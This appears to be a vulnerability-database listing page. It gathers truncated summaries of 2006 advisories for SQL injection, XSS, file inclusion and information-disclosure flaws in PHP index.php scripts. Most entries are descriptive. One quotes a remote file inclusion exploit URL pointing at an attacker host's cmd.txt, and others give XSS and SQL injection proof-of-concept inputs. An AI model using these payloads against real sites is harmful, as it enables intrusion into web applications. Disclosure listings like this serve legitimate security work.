CVE-2006-3610

index.php in Orbitcoders OrbitMATRIX 1.0 allows remote attackers to obtain sensitive information partial database schema via a modified pagename parameter, which reflects portions of an SQL query in the result. NOTE: it is not clear whether the information is target-specific. If not, then this...

CVE-2006-3577

LifeType 1.0.5 contains a SQL injection in index.php via the Date parameter in a Default operation. The vulnerability arises from unsanitized user input used to build database queries, allowing remote attackers to execute arbitrary SQL. No specific fix/version is provided in the available documen...

CVE-2006-3543

Multiple SQL injection vulnerabilities in Invision Power Board IPB 1.x and 2.x allow remote attackers to execute arbitrary SQL commands via the 1 idcat and 2 code parameters in a ketqua action in index.php; the id parameter in a 3 Attach and 4 ref action in index.php; the CODE parameter in a 5...

CVE-2006-3542

Multiple cross-site scripting XSS vulnerabilities in Garry Glendown Shopping Cart 0.9 allow remote attackers to inject arbitrary web script or HTML via the 1 shop name field in a editshop.php, b edititem.php, and c index.php; and via the 2 item field in editshop.php and edititem.php...

CVE-2006-3544

Multiple SQL injection vulnerabilities in Invision Power Board IPB 1.3 Final allow remote attackers to execute arbitrary SQL commands via the CODE parameter in a 1 Stats, 2 Mail, and 3 Reg action in index.php. NOTE: the developer has disputed this issue, stating that "At no point does the CODE...

CVE-2006-3543

Multiple SQL injection vulnerabilities in Invision Power Board IPB 1.x and 2.x allow remote attackers to execute arbitrary SQL commands via the 1 idcat and 2 code parameters in a ketqua action in index.php; the id parameter in a 3 Attach and 4 ref action in index.php; the CODE parameter in a 5...

PT-2006-4419 · Invision · Invision Power Board

Name of the Vulnerable Software and Affected Versions: Invision Power Board version 1.3 Final Description: The issue concerns SQL injection vulnerabilities that could allow remote attackers to execute arbitrary SQL commands. This is allegedly possible via the CODE parameter in certain actions in...

CVE-2006-3544

Invision Power Board 1.3 Final is affected by multiple SQL injection vulnerabilities via the CODE parameter in index.php actions (Stats, Mail, Reg). The underlying issue is described as CODE being used in a SWITCH to select a function, with attackers potentially modifying CODE to execute SQL comm...

randshop <= 1.1.x (index.php) Remote File Inclusion Vulnerability

Title : randshop = 1.1.x Remote File Inclusion Vulnerability - URL : http://www.randshop.com/ - Author :Saudi Hackrz - contact : Saudi.UnixatHotmail.com - dork : "software 2004-2005 by randshop" - exploit : http://target/path/index.php?dateiPfad=http://attacker/cmd.txt?&cmd=ls - greatz : SnIpEr.S...

IPB13.txt

By:- Breeeeh [email protected] --------------------- example:- /index.php?act=Stats&CODE=SQL Injection /index.php?act=Mail&CODE=SQL Injection /index.php?act=Reg&CODE=SQL Injection...

CVE-2006-3386

index.php in Vincent Leclercq News 5.2 allows remote attackers to obtain sensitive information, such as the installation path, via a mail parameter with invalid values...

CVE-2006-3383

Cross-site scripting XSS vulnerability in index.php in mAds 1.0 allows remote attackers to inject arbitrary web script or HTML via Javascript events such as onmouseover within a URL. NOTE: the provenance of this information is unknown; the details are obtained solely from third party reports...

CVE-2006-3359

Multiple SQL injection vulnerabilities in index.php in NewsPHP 2006 PRO allow remote attackers to inject arbitrary web script or HTML via the 1 words, 2 id, 3 topmenuitem, and 4 catid parameters in a index.php; and the 5 category parameter in b inc/rssfeed.php...

CVE-2006-3360

Directory traversal vulnerability in index.php in phpSysInfo 2.5.1 allows remote attackers to determine the existence of arbitrary files via a .. dot dot sequence and a trailing null %00 byte in the lng parameter, which will display a different error message if the file exists...

CVE-2006-3383

CVE-2006-3383 is a cross-site scripting (XSS) vulnerability in the index.php file of mAds 1.0. The issue allows remote attackers to inject arbitrary web script or HTML by crafting a URL that triggers Javascript events (e.g., onmouseover). The NVD-derived vector indicates an attack with network ac...

CVE-2006-3358

CVE-2006-3358 describes multiple cross-site scripting (XSS) vulnerabilities in NewsPHP 2006 PRO, exploitable via the (1) words, (2) id, (3) cat_id, and (4) tim parameters in index.php. These inputs are returned in an error page without proper sanitization, enabling injection of arbitrary script/H...

CVE-2006-3364

The CVE-2006-3364 entry describes an SQL injection in BLOG:CMS NP_SEO plugin (affected prior to version 4.1.0) where the id parameter in index.php can be exploited to execute arbitrary SQL commands. The vulnerability, originating from improper input handling in the plugin, allows remote attackers...

CVE-2006-3389

CVE-2006-3389 affects WordPress (around 2.0.x). The description in the Initial document states that index.php in WordPress 2.0.3 could reveal sensitive information (e.g., SQL table prefixes) via an invalid paged parameter, displaying an SQL error message. The Connected documents corroborate relat...

CVE-2006-3394

SQL injection vulnerability in the files mod in index.php in BXCP 0.3.0.4 allows remote attackers to execute arbitrary SQL commands via the where parameter in a view action...

Shopping Cart V0.9

Shopping Cart V0.9 Homepage: http://glendown.de/shop/ Affected files: index.php editshop.php edititem.php ----------------------------------------- XSS vuln on editshop.php & edititem.php: Data isn't sanatized before being entered. For a PoC as a shop name or item enter in: scriptalert'xss'/scrip...